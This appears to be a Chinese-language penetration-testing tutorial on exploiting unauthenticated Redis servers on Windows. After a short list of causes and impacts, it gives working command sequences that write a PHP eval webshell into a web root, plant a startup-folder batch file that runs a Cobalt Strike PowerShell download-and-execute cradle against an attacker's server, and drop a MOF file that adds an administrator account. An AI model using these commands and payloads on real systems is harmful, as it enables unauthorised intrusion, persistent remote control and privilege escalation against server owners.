windows环境redis未授权利用手法总结

Redis未授权产生原因

1.redis绑定在0.0.0.0:6379默认端口，直接暴露在公网，无防火墙进行来源信任防护。

2.没有设置密码认证，可以免密远程登录redis服务

漏洞危害

1.信息泄露，攻击者可以恶意执行flushall清空数据

2.可以通过eval执行lua代码，或通过数据备份功能往磁盘写入后门文件

3.若以root身份运行，攻击者可以给root账户写入SSH公钥文件，直接通过SSH登录受害服务器。

利用方式01-写入webshell

1.获取web绝对路径，直接写入webshell

redis-cli.exe -h redis-server] -p 6379

redis redis-server> CONFIG SET dir c:/phpstudy/www

OK

redis redis-server> CONFIG SET dbfilename shell.php

OK

redis redis-server> set x “<?php @eval($_POST['a']) ?>”

OK

redis redis-server> save

OK

直接访问shell.php即可

利用方式02-启动项写入

windows下的开机启动项的目录为

C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/

写入方式有很多，这里我们使用Cobalt Strike来进行演示

先启动CS服务端，命令如下：

root@kali:~/cobaltstrike4.1# ./teamserver csip 123456

1607063251_5fc9d6d343a3cf96f6b71.png!small

在启动客户端，输入密码和地址

1607063268_5fc9d6e4e62256858c1d5.png!small

添加一个Listener 监听器

1607063289_5fc9d6f9317e4f5646eed.png!small

选择Attacks – Web Drive-By – Script Web Delivery，选择刚才添加的Listener

1607063296_5fc9d700dd724f8b4c9f5.png!small

1607063312_5fc9d710d5589c1688b0e.png!small

点击Launch之后生成如下代码

powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://cs地址:80/a'))\"

直接保存为1.bat即可

其中存在两个小细节，一个是由于dbfile本身是有内容的，因此命令要正常运行必须先换行，经过测试需要两个换行符rn才能正常运行，还有一个是由于本身执行命令中也有双引号，因此需要加入转义

redis-cli.exe -h 目标ip -p 6379
redis 目标ip:6379>config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
OK
redis 目标ip:6379> CONFIG SET dbfilename 1.bat
OK
redis 目标ip:6379>set x "/r/n/r/npowershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://csip:80/a'))\"/r/n/r/n
注意这里的双引号要转义,windwos路径的start menu中间一个空格
OK
redis 192.168.1.101:6379> save
OK

1607063466_5fc9d7aa14bd80dca6ffa.png!small

查看服务器启动项，发现正常写入命令

1607063480_5fc9d7b872dcf5ef3fa8b.png!small

重启目标机器，成功上线

1607063490_5fc9d7c2bf53cca7adc2c.png!small

1607063498_5fc9d7ca128ca027dfd0e.png!small

利用方式03-写入mof

如果由于不能重启机器也无法获取web目录，想到Mof提权，环境限制只能为win2003。

简单描述一下mof提权的原理：

mof是windows系统的一个文件（在c:/windows/system32/wbem/mof/nullevt.mof）叫做”托管对象格式”其作用是每隔五秒就会去监控进程创建和死亡。其实就是有了mysql的root权限了以后，然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行，这个mof当中有一段是vbs脚本，这个vbs大多数的是cmd的添加管理员用户的命令。

也就是说在`c:/windows/system32/wbem/mof/`目录下的mof文件会每5秒自动执行一次，这样就不需要重启机器就能获取权限了。

首先将如下代码保存为admin.txt文件：

#pragma namespace("\\.\root\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\Cimv2"; Name  = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa "Win32_LocalTime" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user admin admin /add")"; }; instance of __FilterToConsumerBinding { Consumer   = $Consumer; Filter = $EventFilter; };

此处要执行的命令为添加名为admin的用户

1607063893_5fc9d95567ef852c49aeb.png!small